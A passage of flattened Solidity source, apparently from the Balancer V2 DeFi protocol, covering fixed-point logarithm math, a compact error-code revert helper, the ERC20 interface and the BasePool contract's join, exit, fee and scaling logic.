* for x close to one.
*
* Should only be used if x is between LN_36_LOWER_BOUND and LN_36_UPPER_BOUND.
*/
function _ln_36(int256 x) private pure returns (int256) {
// Since ln(1) = 0, a value of x close to one will yield a very small result, which makes using 36 digits
// worthwhile.
// First, we transform x to a 36 digit fixed point value.
x *= ONE_18;
// We will use the following Taylor expansion, which converges very rapidly. Let z = (x - 1) / (x + 1).
// ln(x) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))
// Recall that 36 digit fixed point division requires multiplying by ONE_36, and multiplication requires
// division by ONE_36.
int256 z = ((x - ONE_36) * ONE_36) / (x + ONE_36);
int256 z_squared = (z * z) / ONE_36;
// num is the numerator of the series: the z^(2 * n + 1) term
int256 num = z;
// seriesSum holds the accumulated sum of each term in the series, starting with the initial z
int256 seriesSum = num;
// In each step, the numerator is multiplied by z^2
num = (num * z_squared) / ONE_36;
seriesSum += num / 3;
num = (num * z_squared) / ONE_36;
seriesSum += num / 5;
num = (num * z_squared) / ONE_36;
seriesSum += num / 7;
num = (num * z_squared) / ONE_36;
seriesSum += num / 9;
num = (num * z_squared) / ONE_36;
seriesSum += num / 11;
num = (num * z_squared) / ONE_36;
seriesSum += num / 13;
num = (num * z_squared) / ONE_36;
seriesSum += num / 15;
// 8 Taylor terms are sufficient for 36 decimal precision.
// All that remains is multiplying by 2 (non fixed point).
return seriesSum * 2;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
// solhint-disable
/**
* @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are
* supported.
*/
function _require(bool condition, uint256 errorCode) pure {
if (!condition) _revert(errorCode);
}
/**
* @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported.
*/
function _revert(uint256 errorCode) pure {
// We're going to dynamically create a revert string based on the error code, with the following format:
// 'BAL#{errorCode}'
// where the code is left-padded with zeroes to three digits (so they range from 000 to 999).
//
// We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a
// number (8 to 16 bits) than the individual string characters.
//
// The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a
// much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a
// safe place to rely on it without worrying about how its usage might affect e.g. memory contents.
assembly {
// First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999
// range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for
// the '0' character.
let units := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let tenths := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let hundreds := add(mod(errorCode, 10), 0x30)
// With the individual characters, we can now construct the full string. The "BAL#" part is a known constant
// (0x42414c23): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the
// characters to it, each shifted by a multiple of 8.
// The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits
// per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte
// array).
let revertReason := shl(200, add(0x42414c23000000, add(add(units, shl(8, tenths)), shl(16, hundreds))))
// We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded
// message will have the following layout:
// [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ]
// The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We
// also write zeroes to the next 28 bytes of memory, but those are about to be overwritten.
mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
// Next is the offset to the location of the string, which will be placed immediately after (20 bytes away).
mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020)
// The string length is fixed: 7 characters.
mstore(0x24, 7)
// Finally, the string itself is stored.
mstore(0x44, revertReason)
// Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of
// the encoded message is therefore 4 + 32 + 32 + 32 = 100.
revert(0, 100)
}
}
library Errors {
// Math
uint256 internal constant ADD_OVERFLOW = 0;
uint256 internal constant SUB_OVERFLOW = 1;
uint256 internal constant SUB_UNDERFLOW = 2;
uint256 internal constant MUL_OVERFLOW = 3;
uint256 internal constant ZERO_DIVISION = 4;
uint256 internal constant DIV_INTERNAL = 5;
uint256 internal constant X_OUT_OF_BOUNDS = 6;
uint256 internal constant Y_OUT_OF_BOUNDS = 7;
uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8;
uint256 internal constant INVALID_EXPONENT = 9;
// Input
uint256 internal constant OUT_OF_BOUNDS = 100;
uint256 internal constant UNSORTED_ARRAY = 101;
uint256 internal constant UNSORTED_TOKENS = 102;
uint256 internal constant INPUT_LENGTH_MISMATCH = 103;
uint256 internal constant ZERO_TOKEN = 104;
// Shared pools
uint256 internal constant MIN_TOKENS = 200;
uint256 internal constant MAX_TOKENS = 201;
uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202;
uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203;
uint256 internal constant MINIMUM_BPT = 204;
uint256 internal constant CALLER_NOT_VAULT = 205;
uint256 internal constant UNINITIALIZED = 206;
uint256 internal constant BPT_IN_MAX_AMOUNT = 207;
uint256 internal constant BPT_OUT_MIN_AMOUNT = 208;
uint256 internal constant EXPIRED_PERMIT = 209;
uint256 internal constant NOT_TWO_TOKENS = 210;
// Pools
uint256 internal constant MIN_AMP = 300;
uint256 internal constant MAX_AMP = 301;
uint256 internal constant MIN_WEIGHT = 302;
uint256 internal constant MAX_STABLE_TOKENS = 303;
uint256 internal constant MAX_IN_RATIO = 304;
uint256 internal constant MAX_OUT_RATIO = 305;
uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306;
uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307;
uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308;
uint256 internal constant INVALID_TOKEN = 309;
uint256 internal constant UNHANDLED_JOIN_KIND = 310;
uint256 internal constant ZERO_INVARIANT = 311;
uint256 internal constant ORACLE_INVALID_SECONDS_QUERY = 312;
uint256 internal constant ORACLE_NOT_INITIALIZED = 313;
uint256 internal constant ORACLE_QUERY_TOO_OLD = 314;
uint256 internal constant ORACLE_INVALID_INDEX = 315;
uint256 internal constant ORACLE_BAD_SECS = 316;
uint256 internal constant AMP_END_TIME_TOO_CLOSE = 317;
uint256 internal constant AMP_ONGOING_UPDATE = 318;
uint256 internal constant AMP_RATE_TOO_HIGH = 319;
uint256 internal constant AMP_NO_ONGOING_UPDATE = 320;
uint256 internal constant STABLE_INVARIANT_DIDNT_CONVERGE = 321;
uint256 internal constant STABLE_GET_BALANCE_DIDNT_CONVERGE = 322;
uint256 internal constant RELAYER_NOT_CONTRACT = 323;
uint256 internal constant BASE_POOL_RELAYER_NOT_CALLED = 324;
uint256 internal constant REBALANCING_RELAYER_REENTERED = 325;
// Lib
uint256 internal constant REENTRANCY = 400;
uint256 internal constant SENDER_NOT_ALLOWED = 401;
uint256 internal constant PAUSED = 402;
uint256 internal constant PAUSE_WINDOW_EXPIRED = 403;
uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404;
uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405;
uint256 internal constant INSUFFICIENT_BALANCE = 406;
uint256 internal constant INSUFFICIENT_ALLOWANCE = 407;
uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408;
uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409;
uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410;
uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411;
uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412;
uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414;
uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416;
uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417;
uint256 internal constant SAFE_ERC20_CALL_FAILED = 418;
uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419;
uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420;
uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421;
uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422;
uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423;
uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424;
uint256 internal constant BUFFER_PERIOD_EXPIRED = 425;
uint256 internal constant CALLER_IS_NOT_OWNER = 426;
uint256 internal constant NEW_OWNER_IS_ZERO = 427;
uint256 internal constant CODE_DEPLOYMENT_FAILED = 428;
// Vault
uint256 internal constant INVALID_POOL_ID = 500;
uint256 internal constant CALLER_NOT_POOL = 501;
uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502;
uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503;
uint256 internal constant INVALID_SIGNATURE = 504;
uint256 internal constant EXIT_BELOW_MIN = 505;
uint256 internal constant JOIN_ABOVE_MAX = 506;
uint256 internal constant SWAP_LIMIT = 507;
uint256 internal constant SWAP_DEADLINE = 508;
uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509;
uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510;
uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511;
uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512;
uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513;
uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514;
uint256 internal constant INVALID_POST_LOAN_BALANCE = 515;
uint256 internal constant INSUFFICIENT_ETH = 516;
uint256 internal constant UNALLOCATED_ETH = 517;
uint256 internal constant ETH_TRANSFER = 518;
uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519;
uint256 internal constant TOKENS_MISMATCH = 520;
uint256 internal constant TOKEN_NOT_REGISTERED = 521;
uint256 internal constant TOKEN_ALREADY_REGISTERED = 522;
uint256 internal constant TOKENS_ALREADY_SET = 523;
uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524;
uint256 internal constant NONZERO_TOKEN_BALANCE = 525;
uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526;
uint256 internal constant POOL_NO_TOKENS = 527;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528;
// Fees
uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600;
uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/math/Math.sol";
import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/InputHelpers.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/TemporarilyPausable.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IBasePool.sol";
import "./BalancerPoolToken.sol";
import "./BasePoolAuthorization.sol";
import "@balancer-labs/v2-asset-manager-utils/contracts/IAssetManager.sol";
// This contract relies on tons of immutable state variables to perform efficient lookup, without resorting to storage
// reads. Because immutable arrays are not supported, we instead declare a fixed set of state variables plus a total
// count, resulting in a large number of state variables.
// solhint-disable max-states-count
/**
* @dev Reference implementation for the base layer of a Pool contract that manages a single Pool with an immutable set
* of registered tokens, no Asset Managers, an admin-controlled swap fee percentage, and an emergency pause mechanism.
*
* Note that neither swap fees nor the pause mechanism are used by this contract. They are passed through so that
* derived contracts can use them via the `_addSwapFeeAmount` and `_subtractSwapFeeAmount` functions, and the
* `whenNotPaused` modifier.
*
* No admin permissions are checked here: instead, this contract delegates that to the Vault's own Authorizer.
*
* Because this contract doesn't implement the swap hooks, derived contracts should generally inherit from
* BaseGeneralPool or BaseMinimalSwapInfoPool. Otherwise, subclasses must inherit from the corresponding interfaces
* and implement the swap callbacks themselves.
*/
abstract contract BasePool is IBasePool, BasePoolAuthorization, BalancerPoolToken, TemporarilyPausable {
using FixedPoint for uint256;
uint256 private constant _MIN_TOKENS = 2;
uint256 private constant _MAX_TOKENS = 8;
// 1e18 corresponds to 1.0, or a 100% fee
uint256 private constant _MIN_SWAP_FEE_PERCENTAGE = 1e12; // 0.0001%
uint256 private constant _MAX_SWAP_FEE_PERCENTAGE = 1e17; // 10%
uint256 private constant _MINIMUM_BPT = 1e6;
uint256 internal _swapFeePercentage;
IVault private immutable _vault;
bytes32 private immutable _poolId;
uint256 private immutable _totalTokens;
IERC20 internal immutable _token0;
IERC20 internal immutable _token1;
IERC20 internal immutable _token2;
IERC20 internal immutable _token3;
IERC20 internal immutable _token4;
IERC20 internal immutable _token5;
IERC20 internal immutable _token6;
IERC20 internal immutable _token7;
// All token balances are normalized to behave as if the token had 18 decimals. We assume a token's decimals will
// not change throughout its lifetime, and store the corresponding scaling factor for each at construction time.
// These factors are always greater than or equal to one: tokens with more than 18 decimals are not supported.
uint256 private immutable _scalingFactor0;
uint256 private immutable _scalingFactor1;
uint256 private immutable _scalingFactor2;
uint256 private immutable _scalingFactor3;
uint256 private immutable _scalingFactor4;
uint256 private immutable _scalingFactor5;
uint256 private immutable _scalingFactor6;
uint256 private immutable _scalingFactor7;
event SwapFeePercentageChanged(uint256 swapFeePercentage);
constructor(
IVault vault,
IVault.PoolSpecialization specialization,
string memory name,
string memory symbol,
IERC20[] memory tokens,
address[] memory assetManagers,
uint256 swapFeePercentage,
uint256 pauseWindowDuration,
uint256 bufferPeriodDuration,
address owner
)
// Base Pools are expected to be deployed using factories. By using the factory address as the action
// disambiguator, we make all Pools deployed by the same factory share action identifiers. This allows for
// simpler management of permissions (such as being able to manage granting the 'set fee percentage' action in
// any Pool created by the same factory), while still making action identifiers unique among different factories
// if the selectors match, preventing accidental errors.
Authentication(bytes32(uint256(msg.sender)))
BalancerPoolToken(name, symbol)
BasePoolAuthorization(owner)
TemporarilyPausable(pauseWindowDuration, bufferPeriodDuration)
{
_require(tokens.length >= _MIN_TOKENS, Errors.MIN_TOKENS);
_require(tokens.length <= _MAX_TOKENS, Errors.MAX_TOKENS);
// The Vault only requires the token list to be ordered for the Two Token Pools specialization. However,
// to make the developer experience consistent, we are requiring this condition for all the native pools.
// Also, since these Pools will register tokens only once, we can ensure the Pool tokens will follow the same
// order. We rely on this property to make Pools simpler to write, as it lets us assume that the
// order of token-specific parameters (such as token weights) will not change.
InputHelpers.ensureArrayIsSorted(tokens);
_setSwapFeePercentage(swapFeePercentage);
bytes32 poolId = vault.registerPool(specialization);
vault.registerTokens(poolId, tokens, assetManagers);
// Set immutable state variables - these cannot be read from during construction
uint256 totalTokens = tokens.length;
_vault = vault;
_poolId = poolId;
_totalTokens = totalTokens;
// Immutable variables cannot be initialized inside an if statement, so we must do conditional assignments
_token0 = totalTokens > 0 ? tokens[0] : IERC20(0);
_token1 = totalTokens > 1 ? tokens[1] : IERC20(0);
_token2 = totalTokens > 2 ? tokens[2] : IERC20(0);
_token3 = totalTokens > 3 ? tokens[3] : IERC20(0);
_token4 = totalTokens > 4 ? tokens[4] : IERC20(0);
_token5 = totalTokens > 5 ? tokens[5] : IERC20(0);
_token6 = totalTokens > 6 ? tokens[6] : IERC20(0);
_token7 = totalTokens > 7 ? tokens[7] : IERC20(0);
_scalingFactor0 = totalTokens > 0 ? _computeScalingFactor(tokens[0]) : 0;
_scalingFactor1 = totalTokens > 1 ? _computeScalingFactor(tokens[1]) : 0;
_scalingFactor2 = totalTokens > 2 ? _computeScalingFactor(tokens[2]) : 0;
_scalingFactor3 = totalTokens > 3 ? _computeScalingFactor(tokens[3]) : 0;
_scalingFactor4 = totalTokens > 4 ? _computeScalingFactor(tokens[4]) : 0;
_scalingFactor5 = totalTokens > 5 ? _computeScalingFactor(tokens[5]) : 0;
_scalingFactor6 = totalTokens > 6 ? _computeScalingFactor(tokens[6]) : 0;
_scalingFactor7 = totalTokens > 7 ? _computeScalingFactor(tokens[7]) : 0;
}
// Getters / Setters
function getVault() public view returns (IVault) {
return _vault;
}
function getPoolId() public view override returns (bytes32) {
return _poolId;
}
function _getTotalTokens() internal view returns (uint256) {
return _totalTokens;
}
function getSwapFeePercentage() external view returns (uint256) {
return _swapFeePercentage;
}
function setSwapFeePercentage(uint256 swapFeePercentage) public virtual authenticate whenNotPaused {
_setSwapFeePercentage(swapFeePercentage);
}
function _setSwapFeePercentage(uint256 swapFeePercentage) private {
_require(swapFeePercentage >= _MIN_SWAP_FEE_PERCENTAGE, Errors.MIN_SWAP_FEE_PERCENTAGE);
_require(swapFeePercentage <= _MAX_SWAP_FEE_PERCENTAGE, Errors.MAX_SWAP_FEE_PERCENTAGE);
_swapFeePercentage = swapFeePercentage;
emit SwapFeePercentageChanged(swapFeePercentage);
}
function setAssetManagerPoolConfig(IERC20 token, bytes memory poolConfig)
public
virtual
authenticate
whenNotPaused
{
_setAssetManagerPoolConfig(token, poolConfig);
}
function _setAssetManagerPoolConfig(IERC20 token, bytes memory poolConfig) private {
bytes32 poolId = getPoolId();
(, , , address assetManager) = getVault().getPoolTokenInfo(poolId, token);
IAssetManager(assetManager).setConfig(poolId, poolConfig);
}
function setPaused(bool paused) external authenticate {
_setPaused(paused);
}
function _isOwnerOnlyAction(bytes32 actionId) internal view virtual override returns (bool) {
return
(actionId == getActionId(this.setSwapFeePercentage.selector)) ||
(actionId == getActionId(this.setAssetManagerPoolConfig.selector));
}
// Join / Exit Hooks
modifier onlyVault(bytes32 poolId) {
_require(msg.sender == address(getVault()), Errors.CALLER_NOT_VAULT);
_require(poolId == getPoolId(), Errors.INVALID_POOL_ID);
_;
}
function onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) public virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) {
uint256[] memory scalingFactors = _scalingFactors();
if (totalSupply() == 0) {
(uint256 bptAmountOut, uint256[] memory amountsIn) = _onInitializePool(
poolId,
sender,
recipient,
scalingFactors,
userData
);
// On initialization, we lock _MINIMUM_BPT by minting it for the zero address. This BPT acts as a minimum
// as it will never be burned, which reduces potential issues with rounding, and also prevents the Pool from
// ever being fully drained.
_require(bptAmountOut >= _MINIMUM_BPT, Errors.MINIMUM_BPT);
_mintPoolTokens(address(0), _MINIMUM_BPT);
_mintPoolTokens(recipient, bptAmountOut - _MINIMUM_BPT);
// amountsIn are amounts entering the Pool, so we round up.
_downscaleUpArray(amountsIn, scalingFactors);
return (amountsIn, new uint256[](_getTotalTokens()));
} else {
_upscaleArray(balances, scalingFactors);
(uint256 bptAmountOut, uint256[] memory amountsIn, uint256[] memory dueProtocolFeeAmounts) = _onJoinPool(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
scalingFactors,
userData
);
// Note we no longer use `balances` after calling `_onJoinPool`, which may mutate it.
_mintPoolTokens(recipient, bptAmountOut);
// amountsIn are amounts entering the Pool, so we round up.
_downscaleUpArray(amountsIn, scalingFactors);
// dueProtocolFeeAmounts are amounts exiting the Pool, so we round down.
_downscaleDownArray(dueProtocolFeeAmounts, scalingFactors);
return (amountsIn, dueProtocolFeeAmounts);
}
}
function onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) public virtual override onlyVault(poolId) returns (uint256[] memory, uint256[] memory) {
uint256[] memory scalingFactors = _scalingFactors();
_upscaleArray(balances, scalingFactors);
(uint256 bptAmountIn, uint256[] memory amountsOut, uint256[] memory dueProtocolFeeAmounts) = _onExitPool(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
scalingFactors,
userData
);
// Note we no longer use `balances` after calling `_onExitPool`, which may mutate it.
_burnPoolTokens(sender, bptAmountIn);
// Both amountsOut and dueProtocolFeeAmounts are amounts exiting the Pool, so we round down.
_downscaleDownArray(amountsOut, scalingFactors);
_downscaleDownArray(dueProtocolFeeAmounts, scalingFactors);
return (amountsOut, dueProtocolFeeAmounts);
}
// Query functions
/**
* @dev Returns the amount of BPT that would be granted to `recipient` if the `onJoinPool` hook were called by the
* Vault with the same arguments, along with the number of tokens `sender` would have to supply.
*
* This function is not meant to be called directly, but rather from a helper contract that fetches current Vault
* data, such as the protocol swap fee percentage and Pool balances.
*
* Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must
* explicitly use eth_call instead of eth_sendTransaction.
*/
function queryJoin(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256 bptOut, uint256[] memory amountsIn) {
InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens());
_queryAction(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
userData,
_onJoinPool,
_downscaleUpArray
);
// The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement,
// and we don't need to return anything here - it just silences compiler warnings.
return (bptOut, amountsIn);
}
/**
* @dev Returns the amount of BPT that would be burned from `sender` if the `onExitPool` hook were called by the
* Vault with the same arguments, along with the number of tokens `recipient` would receive.
*
* This function is not meant to be called directly, but rather from a helper contract that fetches current Vault
* data, such as the protocol swap fee percentage and Pool balances.
*
* Like `IVault.queryBatchSwap`, this function is not view due to internal implementation details: the caller must
* explicitly use eth_call instead of eth_sendTransaction.
*/
function queryExit(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
bytes memory userData
) external returns (uint256 bptIn, uint256[] memory amountsOut) {
InputHelpers.ensureInputLengthMatch(balances.length, _getTotalTokens());
_queryAction(
poolId,
sender,
recipient,
balances,
lastChangeBlock,
protocolSwapFeePercentage,
userData,
_onExitPool,
_downscaleDownArray
);
// The `return` opcode is executed directly inside `_queryAction`, so execution never reaches this statement,
// and we don't need to return anything here - it just silences compiler warnings.
return (bptIn, amountsOut);
}
// Internal hooks to be overridden by derived contracts - all token amounts (except BPT) in these interfaces are
// upscaled.
/**
* @dev Called when the Pool is joined for the first time; that is, when the BPT total supply is zero.
*
* Returns the amount of BPT to mint, and the token amounts the Pool will receive in return.
*
* Minted BPT will be sent to `recipient`, except for _MINIMUM_BPT, which will be deducted from this amount and sent
* to the zero address instead. This will cause that BPT to remain forever locked there, preventing total BTP from
* ever dropping below that value, and ensuring `_onInitializePool` can only be called once in the entire Pool's
* lifetime.
*
* The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will
* be downscaled (rounding up) before being returned to the Vault.
*/
function _onInitializePool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory scalingFactors,
bytes memory userData
) internal virtual returns (uint256 bptAmountOut, uint256[] memory amountsIn);
/**
* @dev Called whenever the Pool is joined after the first initialization join (see `_onInitializePool`).
*
* Returns the amount of BPT to mint, the token amounts that the Pool will receive in return, and the number of
* tokens to pay in protocol swap fees.
*
* Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when
* performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely.
*
* Minted BPT will be sent to `recipient`.
*
* The tokens granted to the Pool will be transferred from `sender`. These amounts are considered upscaled and will
* be downscaled (rounding up) before being returned to the Vault.
*
* Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onJoinPool`). These
* amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault.
*/
function _onJoinPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
uint256[] memory scalingFactors,
bytes memory userData
)
internal
virtual
returns (
uint256 bptAmountOut,
uint256[] memory amountsIn,
uint256[] memory dueProtocolFeeAmounts
);
/**
* @dev Called whenever the Pool is exited.
*
* Returns the amount of BPT to burn, the token amounts for each Pool token that the Pool will grant in return, and
* the number of tokens to pay in protocol swap fees.
*
* Implementations of this function might choose to mutate the `balances` array to save gas (e.g. when
* performing intermediate calculations, such as subtraction of due protocol fees). This can be done safely.
*
* BPT will be burnt from `sender`.
*
* The Pool will grant tokens to `recipient`. These amounts are considered upscaled and will be downscaled
* (rounding down) before being returned to the Vault.
*
* Due protocol swap fees will be taken from the Pool's balance in the Vault (see `IBasePool.onExitPool`). These
* amounts are considered upscaled and will be downscaled (rounding down) before being returned to the Vault.
*/
function _onExitPool(
bytes32 poolId,
address sender,
address recipient,
uint256[] memory balances,
uint256 lastChangeBlock,
uint256 protocolSwapFeePercentage,
uint256[] memory scalingFactors,
bytes memory userData
)
internal
virtual
returns (
uint256 bptAmountIn,
uint256[] memory amountsOut,
uint256[] memory dueProtocolFeeAmounts
);
// Internal functions
/**
* @dev Adds swap fee amount to `amount`, returning a higher value.
*/
function _addSwapFeeAmount(uint256 amount) internal view returns (uint256) {
// This returns amount + fee amount, so we round up (favoring a higher fee amount).
return amount.divUp(FixedPoint.ONE.sub(_swapFeePercentage));
}
/**
* @dev Subtracts swap fee amount from `amount`, returning a lower value.
*/
function _subtractSwapFeeAmount(uint256 amount) internal view returns (uint256) {
// This returns amount - fee amount, so we round up (favoring a higher fee amount).
uint256 feeAmount = amount.mulUp(_swapFeePercentage);
return amount.sub(feeAmount);
}
// Scaling
/**
* @dev Returns a scaling factor that, when multiplied to a token amount for `token`, normalizes its balance as if
* it had 18 decimals.
*/
function _computeScalingFactor(IERC20 token) private view returns (uint256) {
// Tokens that don't implement the `decimals` method are not supported.
uint256 tokenDecimals = ERC20(address(token)).decimals();
// Tokens with more than 18 decimals are not supported.
uint256 decimalsDifference = Math.sub(18, tokenDecimals);
return FixedPoint.ONE * 10**decimalsDifference;
}
/**
* @dev Returns the scaling factor for one of the Pool's tokens. Reverts if `token` is not a token registered by the
* Pool.
*
* All scaling factors are fixed-point values with 18 decimals, to allow for this function to be overridden by
* derived contracts that need to apply further scaling, making these factors potentially non-integer.
*
* The largest 'base' scaling factor (i.e. in tokens with less than 18 decimals) is 10**18, which in fixed-point is
* 10**36. This value can be multiplied with a 112 bit Vault balance with no overflow by a factor of ~1e7, making
* even relatively 'large' factors safe to use.
*
* The 1e7 figure is the result of 2**256 / (1e18 * 1e18 * 2**112).
*/
function _scalingFactor(IERC20 token) internal view virtual returns (uint256) {
// prettier-ignore
if (token == _token0) { return _scalingFactor0; }
else if (token == _token1) { return _scalingFactor1; }
else if (token == _token2) { return _scalingFactor2; }
else if (token == _token3) { return _scalingFactor3; }
else if (token == _token4) { return _scalingFactor4; }
else if (token == _token5) { return _scalingFactor5; }
else if (token == _token6) { return _scalingFactor6; }
